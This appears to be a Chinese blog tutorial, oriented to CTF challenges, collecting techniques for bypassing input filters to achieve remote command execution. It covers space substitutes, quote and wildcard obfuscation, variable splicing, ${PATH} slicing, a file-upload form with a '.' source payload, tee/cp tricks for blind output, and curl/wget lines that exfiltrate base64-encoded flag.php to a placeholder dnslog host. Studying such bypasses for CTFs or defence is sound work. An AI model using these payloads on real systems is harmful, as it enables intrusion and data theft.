RCE(远程命令执行)绕过总结
目录
前言:
一、常见可代替命令:
二、空格绕过
三、简单符号绕过正则
1、单双引号法
2、跨行符'\'绕过
四、通配符绕过正则
1、可以通配得到的命令
base64:
bzip2:
2、字符串通配
五、变量拼接绕过正则
六、内联执行
七 、“${}”截取环境变量拼接
八、[]中括号匹配绕过
九、source命令:
十、无回显rce:
无回显的执行函数:
1、复制到可访问文件
tee命令:
2、dnslog外带数据法
3、反弹shell:
前言:
此文中的RCE绕过方法,都是博主在CTF题目以及渗透实战中所遇到的,可能有疏漏或不对的地方,还望各位大佬多多指出,感谢!
一、常见可代替命令:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
ls:查看目录
dir:查看目录
二、空格绕过
> < <> 重定向符
%20(space)
%09(tab)
$IFS$9
${IFS}(最好用这个)
$IFS
{cat,flag.txt} 在大括号中逗号可起分隔作用
三、简单符号绕过正则
1、单双引号法
ca''t flag.txt
ca""t flag.txt
因为单双引号中并没有字符,相当于在其中没有添加任何字符,命令意思不变
2、跨行符'\'绕过
跨行符的意思为接着上一行的内容,转到下一行接着输入命令,上下行均是一条命令
四、通配符绕过正则
通配符可以替代任何字符
shell通配符有:
- * :表示通配字符0次及以上
- ? : 表示通配字符0或
1、可以通配得到的命令
base64:
/bin/base64 可以通配为:/???/????64作用为将文件以base64编码形式输出
bzip2:
/usr/bin/bzip2 可以通配为:/???/???/????2作用为将文件压缩成后缀为bz2的压缩文件
flag.php ==> flag.php.bz2
2、字符串通配
flag.php ==> flag.???flag*……
当然可以用通配符去通配一些命令,但不能全名称通配
例如:
/bin/ca?
相当于cat命令
五、变量拼接绕过正则
可以在shell语句里定义变量,将被过滤的字符串分成部分绕过
以flag.php为例:x=lag;cat f$x.php相当于:cat flag.php
六、内联执行
内联执行就是在一条shell语句中内嵌子shell语句,用主shell语句处理子语句的结果
可用于内联语句的符号you ${},``(反引号)
例如:
echo `ls`echo ${ls}相当于把ls的结果使用echo输出
七 、“${}”截取环境变量拼接
关于 ${} 用法可查看我的这篇博客Linux 变量操作符“${}“_linux 变量${}_Elitewa的博客-CSDN博客
例子
${PATH:14:1}${PATH:5:1} flag.txt在此环境中相当于 nl flag.txt
八、[]中括号匹配绕过
例如[a-c] 代表匹配 a-b之间的字符,包括a,b字符本身
匹配范围为当前目录
例子
/[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt相当于
/bin/cat flag.txt因为[]匹配范围只在当前路径
所以要为bin绝对路径
九、source命令:
source命令,又称点命令,可以用点号( . ),代替
该命令可以读取并执行文件中的命令
可构建文件上传表单,上传命令文件执行
表单为:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>
get请求为
?c=.+/???/????????[@-[]一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
注意:通过
.去执行sh命令不需要有执行权限
可以参考p神的这篇文章
无字母数字webshell之提高篇 | 离别歌
十、无回显rce:
无回显的执行函数:
exec()
shell_exec()
`` (反引号)
这些需要php函数echo才可以输出结果
1、复制到可访问文件
tee命令:
tee 命令可用于创建或追加写入文件
可配合cat等打开文件命令和管道符将flag写入到规定文件中
例如
先将根目录复制到某个文件,然后访问查看
ls /| tee ls.txt然后输入 url/1.txt 即可查看根目录
再复制flag文件,然后访问查看
cat /flag.php | tee flag.txt然后输入 url/falg.txt 即可查看根目录
还可以使用其他的复制方法
copy /flag.php flag.txtmv /flag.php flag.txt
2、dnslog外带数据法
需要dnslog平台,可自己搭建
curl dnslog平台url/`cat flag.php|base64`
wget dnslog平台url/`cat flag.php|base64`
3、反弹shell:
以后写提权的时候写
RCE(远程命令执行)绕过总结相关推荐
- RCE远程命令执行学习
RCE(remote command/code execute ,远程命令执行) 命令执行一般发生在远程,故被称为远程命令执行. RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码, ...
- O2OA RCE 远程命令执行漏洞复现(CVE-2022-22916)
1.产品简介 O2OA是一款Java开源企业信息化建设平台 ,包括流程管理.门户管理.信息管理.数据管理和服务管理五大平台,可以极大程度上减化企业信息化建设成本和业务应用开发难度. 2.漏洞概述 O2 ...
- NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析
本文讲的是NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析, 1. 概述 2017 年 4 月 14 日,黑客组织Shadow Brokers 公布了一批新的N ...
- 2022-10-11(一、远程命令执行和系统命令执行)
文章目录 命令执行 原理 危害 RCE 管道符号 远程执行常用`函数` 执行系统命令: 代码执行与加密: 文件包含与生成: PHP代码执行函数 敏感文件 例子 加固 参考 命令执行 命令执行漏洞是指攻 ...
- RCE 远程命令代码执行漏洞
什么是REC Remote Command/Code Execute,远程命令或者代码执行.通过构造特殊的字符串,将数据提交到WEB应用程序,并利用该方式外部程序或命令进行攻击,类似SQL注入. We ...
- war包启动命令_【漏洞预警】Oracle WebLogic远程命令执行0day漏洞(CVE20192725补丁绕过)...
概述 近日,奇安信天眼与安服团队通过数据监控发现,野外出现Oracle WebLogic远程命令执行漏洞最新利用代码,此攻击利用绕过了厂商今年4月底所发布的最新安全补丁(CVE-2019-2725). ...
- Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)
今天 Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)的问题代码,如图: 随即在国内安全圈炸开了锅,大家纷纷转发一张图: 上次因为核弹级漏洞 log4j2 的 POC 公开,大批企业为 ...
- pikachu RCE(remote command/code execute)(远程命令执行/远程代码执行)(皮卡丘漏洞平台通关系列)
目录 一.官方介绍 二.诚意推荐 三.悠闲通关 第1关 exec "ping" 第2关 exec "eval" 一.官方介绍 本节引用内容来源pikachu漏洞 ...
- rmi远程反序列化rce漏洞_Oracle WebLogic 反序列化远程命令执行漏洞预警
报告编号:B6-2019-041901 报告来源:360-CERT 报告作者:360-CERT 更新日期:2019-04-19 0x00 事件背景 2019年4月17日,国家信息安全漏洞共享平台(CN ...
最新文章
- Task03:青少年软件编程(Scratch)等级考试模拟卷(一级)
- 外媒:英国索尔兹伯里事件中受伤警察已重返工作
- C++实现统计从1到n中1出现的次数(另外一种方法)
- java多线程详细讲解_Java多线程例子讲解
- linux ubuntu bionic,尝试在Linux Ubuntu 18.04 Bionic上安装Docker CE时出现错误?
- Java认证值得吗?
- 神经网络与深度学习——TensorFlow2.0实战(笔记)(四)(Python面向对象的编程)
- ElasticSearch之Tokenizer 分词器
- Shell编程:简洁的 Bash Programming 技巧续篇
- 数据安全,配置先行;如何检查,SQL 评估 API
- go的转义字符,字符串本身带有特殊符号
- 昆仑通态如何连接sqlserver数据库_三菱FX5U 与昆仑通态触摸屏的连接操作步骤
- Hive压缩存储(以Parquet为例)
- 《计算机操作系统》(慕课版) 第1章 操作系统引论
- 单场淘汰制场次计算方法_淘汰赛、单循环赛和双循环赛的计算方法分别是什么?...
- app漏洞扫描原理_APP漏洞如何检测,如何检测出app有漏洞?
- HDU 1395 2^x mod n = 1 暴力取模
- 阿里P9大佬手写的Java核心开发手册(2022版)覆盖P5到P8所有技术栈
- 魔方二维动态还原过程MATLAB仿真/魔方二维平面展开
- linux篇之安装MySQL及远程连接
热门文章
- C# Graphics 绘图(及Color、Pen、Brush)
- node全局安装插件,找不到无法识别,set prefix和cache,修改系统环境后,安装插件报错 4048
- 无限制端口服务器,怎样限制服务器的端口
- 这15个Vue自定义指令,让你的项目开发爽到爆
- vue路由重定向到登录页面_Vue 组件单元测试究竟测试什么?
- [GIS原理] 资源共享-SIG|服务篇(服务型GIS、SOA架构、Web Services技术、GIS服务、地理空间服务聚合、地理空间服务网络)
- C语言选择结构--RAPTOR算法及if语句
- JAVA入门基础进阶(十四)—— 实现多线程、线程同步、生产者消费者
- aardio基础实例——一个简单的计算器
- 单位rpx、px、rem、em的区别